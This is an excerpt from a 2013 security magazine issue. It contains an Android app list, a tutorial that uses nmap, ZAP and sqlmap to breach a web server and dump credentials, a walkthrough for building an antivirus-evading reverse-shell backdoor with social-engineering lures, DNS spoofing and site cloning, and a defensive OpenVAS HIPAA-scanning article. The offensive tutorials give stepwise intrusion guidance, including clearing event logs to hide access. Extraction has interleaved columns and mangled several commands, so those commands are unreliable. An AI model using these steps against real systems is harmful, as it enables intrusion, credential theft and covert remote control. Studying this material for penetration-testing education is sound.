the cloud in one tap

OpenVPN Connect open vpn client
Orbot

tor on Android

Packet Injection

poorman’s GUI version of scapy

portknocker

as name says

ProxyDroid

use your socks5 proxy with this
application

browser that easily allows you to
change your UserAgent

python for
android

as name says

Droidcat

inspired by firecat

rekey

Droidsheep

Security analysis in wireless
networks

app that fixes the recently-disclosed
“Master Key” vulnerabilities

Root Browser

great file manager for Android

Droidsheep Guard app for monitoring Androids ARP-table

SandroProxy

kind of like Webscarab

DroidSQLi

automated MySQL injection tool

to take screenshots

dSploit

Android Network Penetration Suite

Screenshot
Ultimate

Electronic
Pickpocket

wirelessly read NFC enabled cards

Secret Letter

poorman’s stegonagraphy tool

smanager

script manager

Exif Viewer

shows exif data from photos and can
remove this information

smart taskbar

as name says

Fast notepad

simple but useful notepad
application

SSHDroid

openssh server for android

STUN Client

Find My Router’s
Password

title explains it all (mostly for default
passwords)

app to find out what kind of firewall/
NAT you’re behind by using the
STUN protocol.

Fing

very similar to Look@LAN tool for
Windows

SU Update fixer

as name says

Supersu

Goomanager

front end for android file hosting

manage what programs access root
functions

Teamviewer

remotely control Windows, OSX, and
Linux based systems

Hacker’s Keyboard as the name says
HashPass

translate text into hashes

Terminal Emulator no explanation needed

Hex Editor

hex editor for Android

timely

alarm

Hex Pirate

hex editor for Android

tPacketCapture

as name says

inSSIDer

wireless network info

VirusTotal Uploader test your malicious payloads

intercepter-NG

mutli-function network tool, sniffer,
cookie intercepter, arp poisoner

Voodoo OTA
RootKeeper

maintain root access even after
updates

IP info Detective

detailed information regarding the
IP address

Wifi File Transfer

access files on your phone from a
web browser via an http server

IP Webcam

Android device into an IP security
camera

WifiFinder

simple wireless scanner

WiGLE Wifi

Open-source wardriving app

Loggy

22

Network Signal Info graphical tool for iwconfig

view your logcat in your desktop browser

Extra 03/2013

ATTACK

Kali Linux, Attacking
Servers
This article will show you how to perform attacks on web
servers, getting full access to the system and database. Just
by using some of the ‘Top Ten’ tools of Kali Linux.

K

ali Linux is probably one of the distributions
more complete for the realization of penetration test. This is accompanied by many
tools of all kinds. In this article we’ll see some examples on how to perform attacks using only some
of the Top Ten tools of Kali Linux focusing on those
that are designed to attack web servers...
Generally an attack is performed as follows:
•
•
•
•
•
•
•

mation. Knowing all the potential weak points is
our goal. To do this the first thing that we are going
to do is to conduct a port scan with nmap. In this
way we will know what type of services or applications run under the web server.
As shown in Figure 1, we see the result of a basic
scanning launched from nmap, more specifically

Collection/information gathering.
Anonymity.
Search vulnerabilities.
Exploitation of the systems.
Post exploitation.
Elimination of proofs.
Executive and technical report.

We will focus on the following: Information Gathering, search vulnerabilities, exploitation and Post
exploitation.
It is important to know that: in this article you are
working with a series of tools for a specific purpose, but this does not mean that the tool can only
be used for this purpose. The vast majority of the
tools have multiple uses.

Nmap: Information gathering

When we are ready to perform an attack, the first
and most important step is the collection of infor-

24

Figure 1. Result of scan with Zenmap. Multiples open ports

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Kali Linux, Attacking Servers

from Zenmap, the graphical version of nmap. The
scan showed a few open ports on the server, and
this may give us some clues as to where to find
potential vulnerabilities. The information which has
taken us back is quite juicy, the server that we are
attacking has more of a role assigned, therefore
more points to that attack.

Figure 2. Acces denied for mysql backend

Some of the services that are attacked :
Port 21 FTP
Port 110 pop3
Port 3306 mysql

These will probably be the most vulnerable, because the rest of which ports are open on the server have a connection with the security type SSL or
TLS, as is the case of HTTPS, SMTPS, POP3S
or of the SSH. These protocols and their connection, have a very robust encryption, which is why it
is more complex to obtain a key using brute force,
or crack a password sniffing the traffic on a LAN.
As an example; both by the port 21 as the 110
could be attempting to perform a brute-force attack. On the other hand, we have port 3306 that
tells us that mysql installed.
We will do some checking typical to perform a penetration test, such as trying to access an anonymous
user FTP, or verify access to mysql is enabled.
In Figure 2, shows how the mysql Backend can
only be accessed from within the LAN itself.
However, having a mysql installed and see so
many open ports makes us think that the web that
we are attacking have more than one database
dedicated to various services, for example, for the
main page, a database, for the blog other, and so
on for each part of the web. This can mean that
some of the parts of the web page is vulnerable.

OWASP: Search vulnerabilities
Figure 3. Automatic full scan with OWASP ZAP

Once that we have some information on the objective, the next step will be to seek vulnerabilities with

Figure 4. Report in html from OWASP

www.hakin9.org/en

25

ATTACK

the OWASP tool. At the time of use OWASP we
can use this of two different ways. The first of them
would be to use OWASP as a proxy in our browser,
intercepting and all the connections that are made
with Firefox, Chrome, or any other browser.
In this way we can establish the attack in a single point, that is to say, possibly the web to which
we are attacking has multiple URL, between the
BLOG, the main page, the access to the extranet,
access to suppliers, and so on using as a proxy
OWASP interceptions exclusively part of the web
server that we want to attack.

Figure 5. XSS (cross site scripting) exploited

The other way to use OWASP to search for vulnerabilities is doing a full scan of the web site.
Later I’ll show you how to do it. This option is
less advised that the previous one, however, can
help us in the time to search for these vulnerabilities, this method is faster. It is less advisable to use
this method, or better said, the handicaps of using
as a proxy is, that if you do a full scan on a website, OWASP runs through all the URL of the page
and tries to find vulnerabilities in each of the parties of the web. This implies that the IDS or firewall
of server to that we are attacking can detect an intrusion attempt.
OWASP when perform a full scan, launches all
possible attacks, grouping the vulnerabilities found
based on their criticality.
In the image below (Figure 3) we see the result
obtained by OWASP on a full scan of the web site
that we are attacking.
Once that we already have the result of the scanning, the most advisable is to perform a first look
at the potential vulnerabilities, and then export it in
.HTML in order to be able to focus on those vulnerabilities that we are the most interested in.
Figure 4 is the result already exported and in detail on the vulnerabilities found.
One of the vulnerabilities found was a XSS (cross
site scripting) and to exploit it is as simple as go
to the browser and insert the URL which showed
OWASP. Figure 5, is the result of XSS.

Figure 6. Showing the databases with sqlmap

Figure 7. Results of the table containing the users

26

Figure 8. Results of the table containing the passwords

Extra 03/2013

Kali Linux, Attacking Servers

SQLmap: Exploiting vulnerabilities

After verifying that the fault discovered by OWASP
are exploitable, we spent a sqlmap where we entered a field a bit more fun.
Among other vulnerabilities, we found a possible
failure of SQL injection.
The first thing is to check whether there is such
failure by entering the URL that showed us OWASP.
Knowing that is vulnerable, we used sqlmap tool
to automate the processes of SQL injection.
The same as it happens with OWASP, there are
two ways to use sqlmap, one of them would be us-

Figure 9. Dump of users data and passwords

ing the wizard, and the other entering the parameters one by one.
For example: we’d use the following command to
know which are the DATABASE of server (Figure 6).
sqlmap -u http://www.website.es/actualidad/evento.
php?id=110 --level=5 --flush-session –dbs

Then the options that we offer sqlmap, would get
the tables from a database, after, then users, and
so on up to obtain the passwords. It could even
make a dump of all the DB.
Sometimes the users and passwords are in different tables, however this is not a problem, we
cannot continue with the process of intrusion. Figures 7 and 8 show the users and passwords in different tables.
To do a dump of these two tables, we get the
account_id and the password (Figure 9), which in
addition, seeing the user name I suppose it is the
user that gives access to the FTP.
And as we saw earlier, one of the open ports was
precisely the 21. Thus, we tried to enter and ...
We’re already inside!
Navigating a little for folders on the ftp we realize
that the website has a blog with Wordpress (Figure
10). This makes it easier for us once more to get
access to the system ...
We downloaded the file wp-config to view the
user that connects with the Wordpress Database,
and we try to connect to a mysql client (Figure 11).

Summary

Figure 10. Full access to the FTP server

With only 3 programs we have obtained full access
and with root permissions to Mysql. Also, we have
had access to the FTP server where are housed all
of the files of the web site, and where we could get
a remote shell.
These 3 tools are in the Top Ten of Kali Linux. These
are without doubt the tools to be considered in order
to make hacking attacks and penetration testing.

Ismael González D.

Figure 11. Full access to the Mysql Server with mysql client

www.hakin9.org/en

Ismael Gonzalez D. is a security researcher with an experience of over 7 years in the
study of web vulnerabilities. He is currently
certified in CEH, MCP, MCDTS, MCSA, LPIC-1.
Founder and publisher of computer security blog (http://kontrol0.com). Writer of the
book Backbox 3 – Initiation to pentesting,
freely distributed and completely free (http://www.scribd.com/
doc/157067606/BackBox-3-Iniciacion-al-Pentesting).

27

ATTACK

Hands-on: How To
Create ‚Backdoor’
To Remote Access With Kali Linux
Now I will introduce you to a technique that will use SET
(social engineering toolkit) available in Linux Kali ...
Let’s create a backdoor that can be used to remotely control
a Windows computers.
We will create an executable legitimate, hardly detected by
any antivirus, so we complete a computer target.
I want to point out that all the information here should be
used for educational purposes or penetration test, because
the invasion of unauthorized devices is crime.

B

28

ackdoor is a security hole that can exist in a
computer program or operating system that
could allow the invasion of the system so
that the attacker can get a full control of the machine.
Referring to a backdoor, this is a ‘backdoor’ that

may be exploited via the Internet, but the term can
be used more broadly to describe ways of stealthy
obtaining privileged information systems of all
kinds.
There are cases where the computer program
can contain a ‘backdoor’ implemented at the time it

Figure 1. Social Engineering Toolkit, Step 1

Figure 3. Enter the IP adress, Step 3

Figure 2. Create the Payload and Listener, Step 2

Figure 4. Set payload, Step 4

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Hands-on: How To Create 'Backdoor' To Remote Access With Kali Linux

was compiled. Generally this feature is interesting
when software must perform update operations or
validation.

Step to Step

I hope to do a walkthrough theoretically simple:
First we access the menu: “Applications/Kali
Linux/Exploitation Tools/Social Engineering Toolkit” and click “seetoolkit”. It will be a menu like that
seen in the Figure 1. In the options menu select
option 1.
In the second menu select option 4 (Figure 2).
In this screen below you should properly input
your IP address. If you have questions open a new
terminal and type ifconfig eth0 then fill in this field
correctly (Figure 3).
In the screenshot below, you should choose the
second option to create a connection reverse, our

target computer is who will connect to the attacker (Figure 4). In the screenshot below to watch 3
steps we perform first the kind of backdoor, type
16, then we must define the portal site, the attacker’s machine that will be ‘listening’ for connection
attempts made ​​by the target. The default port is
443 you can choose to change the port if it is already being used. We can enter another number
and then press ‘Enter’, Next you’re asked whether
to start ‘listening’, you must enter ‘yes’ (Figure 5).
With these procedures the ‘backdoor’ will be created and our computer will begin to ‘listen’ for connections from the target machines.
The executable is created in the folder /usr/
share/set/ and is called ‘msf.exe‘.
The goal is to make it an executable, then we
can open a new terminal and type the following
command
‘chmod + x / usr / share / set / msf.exe‘

Figure 5. Start the listener, Step 5

Figure 8. Ettercap, Step 2

Figure 6. Starting interaction, Step 6

Figure 7. Ettercap, Step 1

www.hakin9.org/en

Figure 9. Ettercap, Step 3

29

ATTACK

If you want to you can rename this file to facilitate the process of social engineering to convince someone to opening a photo or install a
new application.

Now we need to copy this executable to the target machine and so it runs a Figure 6.
Here to enter the command ‘sessions’ can list the
targets already connected.
When we type ‘sessions -i 1’ (assuming 1 is the
ID number displayed by the command ‘sessions‘, if
another number is displayed just change the number shown by 1) ​we will be able to interact with the
target machine with full access.

DNS spoofing attack with Ettercap
INTRODUCTION

Figure 10. Start Sniffing, Step 4

DNS spoofing is a method in which the attacker compromises a name server (Domain Name System).
The server accepts and incorrectly uses the information from a ‘host’ who has no authority to provide this information.
Using this technique, the attacker can direct the
victim’s browser or email to their own server.
The technique consists of the data that is entered
in a Domain Name System (DNS) ‘name server’s
cache database’, making the name of the server to
return an incorrect IP address, diverting traffic to
another computer.

Step to Step

Open the terminal. Type and hit enter (Figure 7):

Figure 13. Social Engineering Attacks, Step 2
Figure 11. DNS Spoof, Step 5

Figure 12. Social Engineering Toolkit, Step 1

30

Figure 14. Website Attacks, Step 3

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# vi /usr/share/ettercap/etter.dns

Cloning Site with Kali Linux

Just edit and save, exit and enter after ‘ettercapG’ to open Ettercap in graphical mode.
Go Sniff: ‘Unified Sniffing’, when prompted,
choose your NIC ‘eth0’ (Figure 8).

SET Attack Method:
The Social Engineer Toolkit (SET) has been developed to perform advanced attacks against the
human element. SET was designed to be launched
with http://www.social-engineer.org and quickly
became a standard tool in the arsenal of penetration testers. The attacks built into the toolkit are designed to be focused on attacks against a person
or organization used during a penetration test.
This hacking method will work perfectly with the
‘DNS spoofing or Man in the Middle attack method’.
I will present methods of attack like this can have
computer in few steps.

Concepts

This type of attack is important to get some credentials during the execution of the penetration test. It
consists of sending false answers to DNS requests
that are made. To execute this attack, you must edit the file ‘etter.dns’, as it is the file ‘hosts’ windows
and linux, we can configure to which requests are
sent. In ‘Hosts’ click ‘Scan for hosts’.
Again in “Hosts” click Host List ‘to view a list of all
available IPs on the network, which will select the
target that will receive the false answers and click’
Add to Target 1’ (Figure 9).
Now click on ‘Start’, ‘Start Sniffing’.
After go ‘MitM’: ‘Arp Poisoning’. Select the option
‘Sniff remote connections’ as below and click ‘OK’
(Figure 10).
Go to ‘Plugins’, ‘Manage the Plugins’ and double
click dns_spoof’ (Figure 11).
Done that the ‘selected customer’ will start getting false answers to DNS.

INTRODUCTION

Step to Step

Enter on Applications: Kali Linux: Exploitation
Tools: Social Engineering Toolkit: then Select ‘setoolkit’ (Figure 12).

Figure 17. Web Templates, Step 6

Figure 15. Java Applet Attack, Step 4

Figure 16. Site Cloning, Step 5

www.hakin9.org/en

Figure 18. URL to be cloned, Step 7

31

ATTACK

Then Select option ‘Social Engineering Attacks’
using no. So it will create another window: Figure 13. Then Select option ‘Website Attack Vectors’ which is the unique way of using multiple web
based attacks... (Figure 14).
After that Select option ‘Java Applet Attack’
method will spoof a Java Certificate and deliver a
‘metasploit’ based payload (Figure 15).

32

Figure 19. Generating Payload, Step 8

Select the option which is for ‘Site Cloning’ that
will allow SET to clone the Site that you will define
so that it can utilize that attack (Figure 16).
After pressing enter on the ‘Web Template’ will
show how to use the PORT/ NAT or other. Next
step, enter the IP of your Kali linux, so you can do
reverse connection to your machine when the target using the link provided by you (Figure 17).
After you provide the URL to be cloned as Yahoo, Twitter, Facebook. You can collect various information about the target (Figure 18).
Provide the URL to start cloning, and then, once
that’s done, will start generating ‘payload’ and
some files as jar file, index.html (Figure 19).
Select the ‘payload’ necessary that you want to
generate. I’m using the second option, which is the
‘Windows Meterpreter Reverse_TCP’ that will create a shell access between the attacker and the
target machine that is between my Kali Linux (Figure 20). It will display ‘list of Encoding’s’ that will
help you bypass the security target. I prefer ‘Backdoored Executable’, it is best to find a ‘spamhole’
on the machine in question (Figure 21).
Will begin to generate multiple ‘Powershell code
based Injection’ based on common ports such as

Figure 20. Windows Meterpreter Reverse_TCP, Step 9

Figure 22. Powershell, Step 11

Figure 21. Backdoored Executable(BEST), Step 10

Figure 23. Reverse TCP Connection, Step 12

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53, 80, 443, in his ‘Attacket machine’ to the target
using one where the ‘payload’ is generated.
Select Option 16, will ask for the ‘Port Number’.
Press Enter then it will use the default port number.
It will launch the ‘Launch the Web SET’ will start
appearing and the number of vulnerabilities and
then it will generate a link that you can move on
to the target and once he uses that link, your machine will create a connection ‘Reverse TCP Connection ‘ with the attacker’s machine on the number of doors (Figure 23).
The Code execution ‘ PowerShell ‘, which will run
in the background and then will load ‘ MSF ‘ and
generate a ‘link’ that when a person clicks it will
creates reverse connection open to you within the
network (Figure 24).
This will provide a link when trying to open the
target, all the information from your system back

to us via ‘ Reverse TCP Connection’ (Figure 25).
While one tries to use this link will generate a connection on some port between the attacker and the
target, which is ‘TCP’. After these procedures the
‘payload‘ is generated and when you use this link
on the machine to open a cloned page also generates the file ‘.jar‘ whose function is to establish the
connection between the two machines (Figure 26).
Let’s create a session with the machine, going
to my local machine can check if the connection
was successful or not. We should use the command ‘netstat’.
Example: netstat-year | find “57804”.
When we are connected to the target machine,
you can run many programs and can edit the files.
Run ‘Event Viewer’ and remove all notifications,
so it becomes more difficult to track what is happening with the machine.
Although we can trace the connection established with the command “sessions-l”.
After running the command will start sending
‘HTTP packets’ to the target machine via the ‘GET
method’.
This shows that the connection has been established with the machine.
You can use utilities such as Restart, Shutdown
the system.
It is worth remembering that I made this article
for educational purposes only, I am totally against
the cybernetic crime, so use it with conscience.

Figure 24. Starting the payload handler, Step 13

Rafael Fontes Souza

Figure 25. The attack, Step 14

Figure 26. Establish the connection, Step 15

www.hakin9.org/en

Over the years, acquiring knowledge of
Webmaster programmer(HTML5,CSS,XML
,ActionScript), developer in languages like
Python, Shell Script, Perl, Pascal, Ruby, Object Pascal, C and Java. I started studying
with thirteen (SQL database), i have extensive experience in operating systems such
as Linux, UNIX, and Windows. I am maintainer of the “project
backtrack team brazilian”, I am also a member of the “French
Backtrack Team” and made partnerships with groups from Indonesia and Algeria; prepared a collection of video lessons
and made them available on the website. I have good communication in groups and the general public, attended college projects with a focus on business organization, I am currently seeking for a work experience outside of Brazil”.
http://sourceforge.net/projects/cypherpunks/
Contact: fontes_rafael@hotmail.com

33

DEFENSE

Kali Scanning for
HIPAA
A Proof of Concept: using Kali Linux to deploy distributed
network vulnerability scanners for medical clients
The Health Insurance Portability and Accountability Act of
1996 (HIPAA) requires organizations who handle electronic
Protected Health Information (e-PHI) to take action and
reduce risk relative to potential security breaches of digital
communication and storage of patient information.

O

pen Source solutions can be leveraged as
a low-cost and effective strategy to minimize risk when used as component of a
larger information security program. With a long
“track” record of community support, Kali is an
open source Linux distribution containing many
security tools to meet the needs of HIPAA network
vulnerability scans.
Note
This article is not as much a how-to as it is a proof
of concept and evaluation of Kali on low-cost hardware (Raspberry Pi in this case). As such, I will discuss my overall experiences here but will not get
into the weeds of the build process for the scanner. There are much better resources elsewhere
to explain the details of this particular project. In
other words, I am not reinventing the wheel here
and have borrowed heavily from readily available
online resources. Think of this as more of a business case with some of the technical bits included.
As Senior Consultant for a Managed Service
Provider company, I have a need to develop a
scalable low-cost solution for performing HIPAA
vulnerability scans. The scans will be part of a larger Information Security consulting service to assist
clients with their HIPAA compliance program. As a
Business Associate of Covered Entities (meaning
– vendor of medical companies), the security solu-

34

tion will also be used to support the internal compliance program of our technology firm.
The requirement for risk analysis (and consequently vulnerability scans) is explained in the
Guidance on Risk Analysis Requirements under
the HIPAA Security Rule document published by
the US Department of Health and Human Services
(http://www.hhs.gov/ocr/privacy/hipaa/administrative/securityrule/rafinalguidancepdf.pdf):
Risk Analysis Requirements under the Security
Rule. The Security Management Process standard
in the Security Rule requires organizations to “[i]
mplement policies and procedures to prevent, detect, contain, and correct security violations.” (45
C.F.R. § 164.308(a)(1).) Risk analysis is one of four
required implementation specifications that provide instructions to implement the Security Management Process standard. Section 164.308(a)(1)
(ii)(A) states: RISK ANALYSIS (Required).
Conduct an accurate and thorough assessment
of the potential risks and vulnerabilities to the confidentiality, integrity, and availability of electronic protected health information held by the [organization].
…Vulnerability is defined in NIST Special Publication (SP) 800-30 as “[a] flaw or weakness in
system security procedures, design, implementation, or internal controls that could be exercised
(accidentally triggered or intentionally exploited)
and result in a security breach or a violation of the

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Kali Scanning for HIPAA

system’s security policy.” Vulnerabilities, whether
accidentally triggered or intentionally exploited,
could potentially result in a security incident, such
as inappropriate access to or disclosure of e-PHI.
Vulnerabilities may be grouped into two general
categories, technical and non-technical. Non-technical vulnerabilities may include ineffective or nonexistent policies, procedures, standards or guide
lines. Technical vulnerabilities may include: holes,
flaws or weaknesses in the development of information systems; or incorrectly implemented and/or
configured information systems.

all over the world to learn programming.” Hardware
Specifications (Raspberry Pi Model B):
• CPU – 700 MHz ARM processor (overclocks to
1 GHz)
• Storage – SD card slot
• Memory – 512MB RAM
• Graphics – Broadcom VideoCore IV
• Video Out – Composite RCA and HDMI
• Audio Out – 3.5mm jack
• Networking – 10/100Mbps Ethernet
• I/O Ports – 2x USB

Project Requirements

A build versus buy approach was taken to evaluate solutions as a scalable, affordable, and effective
method of conducting network vulnerability scans.
The result of the scans will address HIPAA risk analysis requirements while driving vulnerability remediation plans. The final solution must scale with growing business demands for security assessments so
automation of distributed scanners was a primary
consideration. Additionally, the scanners must be
cost-effective to deploy, easy to manage (more on
this later), and enable centralized reporting.
Having familiarity with the Backtrack Linux distribution, Kali was a logical choice for a best of breed
offering in the open source community. So what
is Kali Linux? According to Kali.org, Kali Linux is
an advanced Penetration Testing and Security Auditing Linux distribution. It is also a complete rebuild of Backtrack, its predecessor. Kali is free (as
in beer) and contains over 300 penetration testing
tools. This seems like a good fit for the low-cost requirement of the project.
To further control costs, the Raspberry Pi system
on a chip (SoC) device was selected as the computer hardware for the scanners. These tiny computers
can be purchased from a number of distributors for
$35.00USD. It must be recognized at this point that
choosing a low-powered device like the RPi is not
without trade-offs. We are seeking to balance cost,
size, and power efficiency against performance requirements and capabilities of the system. That being said, it’s hard to argue that a better value can be
had for a distributed network scanner.

What’s a Raspberry Pi?

According to the official website (http://www.raspberrypi.org/faqs), “the Raspberry Pi is a credit-card sized
computer that plugs into your TV and a keyboard. It’s
a capable little PC which can be used for many of the
things that your desktop PC does, like spreadsheets,
word-processing and games. It also plays high-definition video. We want to see it being used by kids

www.hakin9.org/en

Figure 1. Raspberry Pi Model B

Designed as a project computer, the Raspberry Pi
appeared to be a good fit for our specific requirements. I followed the documentation on Kali.org
for installing Kali ARM on a Raspberry Pi. Since
this is a proof of concept, an 8GB SDHC Class 10
card was used for provisioning the operating system. A production system may require more storage for running multiple reporting tools and keeping a local copy of the scanning history.

Some Notes on Installation

Kali image used for testing: http://cdimage.kali.org/
kali-linux-1.0-armel-raspberrypi.img.gz.
While this is not a Kali/Raspberry Pi installation
how-to, I figured I would at least touch on the unexpected problems encountered during the initial
set up process. It is often said that installing open
source systems is not for the faint of heart. I agree.
While not always straightforward, a bit of Googlefu usually saves the day…no exceptions here.
Note
I experienced problems with the kali-linux-1.0.4armel-rpi.img.gz version of the operating system
(the current version) which resulted in the keyboard and mouse locking up in the desktop interface. Troubleshooting this issue led me to forum
posts discussing the same symptoms and of successful attempts using version 1.0, then applying

35

DEFENSE

updates from there. This is the path I took in order
to make progress on the task at hand.
Some initial hardware problems were experienced due to drawing too much power from the
USB ports. For example, my Apple USB keyboard
was detected by the operating system, but would
not work. This was resolved by using a powered
USB hub to offload the power draw. Trying a different keyboard worked fine without the hub, so your
mileage will vary. This is only of concern when initially configuring the RPi. A mouse and keyboard
will not be used when the device is running on the
client’s network. If you need the hub during production, the Raspberry Pi can be powered off of
the same USB hub adding additional power to the
mouse/keyboard. This is how I ran the device during my testing and eliminated the need for an additional power supply.
Also, the default install does not fully utilize the
SD card which led to errors due to a full disk when
performing updates. This was resolved by using the fdisk followed by the resize2fs utilities to
expand the system partition to use the remaining free space. Exact details for this can be found
here: http://raspberrypi.stackexchange.com/questions/499/how-can-i-resize-my-root-partition.
Based on my experience here, some other software housekeeping items are needed (Listing 1)…
Listing 1. General Kali updates
#apt-get update – performs general software
updates
#apt-get install xfce4 xfce4-goodies – installs
items need to support the xserver GUI
#apt-get install iceweasel – installs the
default browser

With the initial hiccups of the installation behind
me, the next step was to consider what tools from
the new Kali system would be deployed to perform
the network vulnerability scans. With so many capabilities packed into this Linux security distro,
there was no shortage of options.
Running startx from the command prompt cranks
up the desktop interface. Even if we will not normally run our scripts and programs from the GUI, it is
helpful to drive the system around a bit to familiarize
ourselves with the tools loaded on the Kali platform.
Be prepared to grab a cup of coffee when first starting the graphic interface. The slower processing
power of the Raspberry box takes a few minutes to
load the desktop the first time. Patience is rewarded
with the familiar Kali/Backtrack dragon logo.

36

Selecting a Scanner

With over 300 security tools available on the Kali system, we must narrow down which tool (or
tools) to use for our purposes. Here are some of
the requirements:
•
•
•
•
•

Scheduled scans for multiple clients,
flexibility in configuration,
available (free) updates to vulnerability definitions,
multiple options for reporting output,
secure transmission of reports (more on this to
follow).

Let’s examine these requirements a bit more. Since
the concept here is to create a set of distributed
scanners at various client sites, the system must be
able to run as a scheduled task and will ultimately be called from a master script. Having flexibility with its configuration, the software should adapt
well to changes in solution requirements over time.
Freely available vulnerability definition updates will
keep costs down while allowing the system to detect ever-evolving system threats. The tool should
provide multiple options for reporting output. Initially
reports will be generated in basic HTML or PDF formats, but future requirements will necessitate capturing granular scanning data for developing a more
sophisticated (eventual) self-service customer portal. From a security standpoint, we are not storing
ePHI; however, we are storing information sensitive
to the internal structure and systems of our clients’
networks. As such, precautions to secure transmission of reports will be established as part of the solution. For the reasons described above, I selected OpenVAS as the scanning tool for this proof of
concept. No one system will be one hundred percent effective all of the time. Certain vulnerabilities
will be missed while some false-positives may be
reported. Remember – risk “reduction” is the goal
as risk “elimination” is an unreasonable expectation. The important thing is we are using the tool as
part of an overall security effort. A more attractive
option would be to deploy multiple scanning tools to
validate the results and cover gaps that exist from
a single software solution. For the purposes of this
phase of the project, we will stick to using a single
tool for scanning and reporting.

Working with OpenVAS

I ran my out-of-the-box OpenVAS install from the
desktop and fired up the setup script included with
the GUI menu options. After several attempts to
configure and run scans with no luck, I decided to
pursue a different course of action. While searching for set up guides, I can across an invaluable

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Kali Scanning for HIPAA

tool – the openvas-check-setup script. While timeconsuming, the script checks out all parts of the
OpenVAS system and updates as necessary. I had
to do the following based on the fixes recommended by the script: Listing 2 and Figure 2.
Listing 2. Initial updating of OpenVAS
#apt-get install openvas-scanner (this updated
the scanner and a good number of other components of the system)
#openvasmd –migrate (upgrades the database)
#openvas-scapdata-sync (update SCAP feed)
#openvas-certdata-sync (update CERT feed)
#openvassd (starts the OpenVAS Server)
#openvasmd (starts the OpenVAS Manager)
#openvasad (starts the OpenVAS Administrator)
#gsad (starts the Greenbone Security Assistant)

Figure 2. Migrating the database

After performing the above, I still go an error stating “ERROR: OpenVAS Manager is NOT running!”
To double-check for listening services, I ran the
command: netstat -A inet –ntlp. As the OpenVAS
Manager (openvasmd) was found to be listening
on its default port, I ignored the “error” and proceeded with testing (Figure 3).

have expressed written permission to perform any
penetration tests, vulnerability scans, or enumeration of network services and host information.
Conducting security scans without permission is
against the law and not advocated here. For testing purposes, I have used my home network and
my employer’s network (with permission) to run
the scans. Enough said about that.
Setting up a scan is simply a matter of managing
(at a minimum): Tasks, Targets, and Scan Configs.
Tasks – scan jobs made up of the other elements. The tasks can be scheduled and leverage
Escalators, such as send an email when the task
is complete.
Targets – IP addresses or ranges of the network
devices to scan. This can be a single Target configuration for a simple network or multiple (servers,
workstations, network devices). Multiple targets
would be useful when it is desirable to customize the
level of scanning based on different device types.
Scan Configs – preset vulnerability scan configurations using different levels of scanning techniques. As the more intrusive configs can bring
down hosts, use caution when making decisions
on how and when to run the scans.
For this exercise, I set up three separate scan
targets – our workstation network, our server network, and one for my work computer. I then created three tasks to scan the targets named – “Scan
workstations – Full and fast”, “Scan servers – Full
and fast”, and “Scan my PC” respectively. For each
of these I used the Full and Fast scan option. This
was the least invasive of the default set of scan
configurations. The overall process is straightforward as the Greenbone Security Desktop interface
is intuitive in its layout. Several tabs at the bottom
of the application window delineate the various areas for configuration.
I chose to run the scans manually and did not
schedule them. The time required to perform the
scans will vary based on the number of hosts being
scanned in the current task and the performance
of the scanner and network. Just to get an idea of
the traffic generated during a scan, I ran Wireshark
on my laptop to watch the vulnerability scans. Further analysis of the packets would reveal the magic behind the scanning process (Figure 4).

Hardware Performance
Figure 3. Checking listening ports for the openvasmd service

Setting up the Scans

The obligatory disclaimer: I am not an attorney;
however, I used to work for some. Be sure you

www.hakin9.org/en

Let’s suffice it to say, the performance of the Raspberry Pi is underwhelming in this application. This
is not unexpected actually and, to a certain degree,
insignificant. While the speed of the scans could
be increased by using faster hardware, we desire
inexpensive and good enough. While scanning,

37

DEFENSE

the processor hovered around seventy percent utilization. Further performance gains would be realized by running OpenVAS from the command line
only and not from the GUI. In a distributed scanner
model, the desktop interface would only be used
on the reporting server. In a real-world application,
I would choose to spend a little more on a significantly faster device (and still stay below $100 per
scanner). Some attractive RPi alternatives for the
ARM processor platform include the Beagle Bone
Black and the Odroid U2.

search on the threat shows Windows computers use
this port to look up various services running on a remote computer and is used for remote management
of the device. The recommendation from the OpenVAS report is to “filter incoming traffic to this port”.

Analyzing the Results

Once the scan(s) were finished, it was time to evaluate the results. In this case, we will look at a scan
on my work laptop (a Windows 7 computer). I used
the HTML version of the report although there are
other options including XML, PDF and text.
The Host Summary area of the report provides a
high-level view of the number of vulnerabilities detected and the threat level – High, Medium, or Low.
Since I used the Full and Fast scanning option, I assumed the threat count would be fairly low. More invasive scans would likely show more threats at the
expense of time and higher network activity. For the
test scan, the results show zero High level threats,
two Medium and seven Low level. A port summary
of the detected threats is shown Figure 5.
Let’s take a look at one of the Medium level threats.
The same process will be used to examine each
threat to determine a remediation plan for the client. One of the threats detected is called “NVT: DCE
Services Enumeration” on TCP port 135. A bit of re-

Figure 5. OpenVAS HTML Report, Summary Section

A potential remediation could be to modify the firewall rules on the Windows computer to only allow
IP packets sourcing from servers and administrative
workstations. This would reduce the attack vector
by blocking connections from peer Windows clients
on the network (which have no need to communicate directly to the device). A comprehensive remediation plan would use a similar approach to analyze each threat identified by the scan. The process
of scanning and remediating identified problems will

Figure 4. Greenbone Security Desktop interface

38

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result in an overall risk reduction with respect to our
clients’ network security (Figure 6).

• leverage additional scanning tools to validate
OpenVAS scans,
• harden the Kali install to protect locally stored
vulnerability reports,
• deploy a client self-service portal to view a history of scans and vulnerability remediation.

Summary
Figure 6. OpenVAS HTML Report, Security Issues

Centralized Reporting

OpenVAS is designed to leverage remote slave
scanners. This allows for the Greenbone Security
Desktop and the underlying OpenVAS components
to perform the heavy lifting of the remote scanning.
The advantage of this capability is using a single interface for scheduling scans and reporting. A centralized OpenVAS server can be used to manage
the entire system. The distributed aspect of the solution will allow my security consulting service to scale
efficiently without unneeded visits to client sites.
With direct access to all client reports, I can work directly with our managed services team to implement
the remediations. While certainly a great feature, the
problem with the solution is requiring multiple VPN
connections into the networks of our medical clients.
This risk can be mitigated by using a DMZ for the
OpenVAS master server and scheduling the scans
in a way where only one client VPN connection is required at a time. Leveraging on-demand VPN connections in conjunction with an idle timeout would be
the best configuration to eliminate these concerns.
Note
Due to the timeline for writing this article, the remote
scanning capability of OpenVAS was not tested.

Future Enhancements

As with any project like this, there is always room
for improvement. Future requirements to increase
remote system capabilities will likely push beyond
the limits of the Raspberry Pi hardware. In that
case, other slightly more expensive hardware solutions could be considered without completely reinventing the wheel. For example, many other SoC
systems are on the market with higher processor
speeds and more memory than the RPi. As these
devices use the same processor family as RPi, it
is expected Kali ARM support will enable use of
these more capable hardware systems. Some likely future enhancements include:
• packet captures of Internet traffic to keep a rolling history of network activity in the event of a
breach,

www.hakin9.org/en

This project started as a proof of concept to determine the viability of using open source tools like Kali
to deploy distributed network vulnerability scanners
on low-cost hardware. The business case for this solution is to provide value-added consulting services
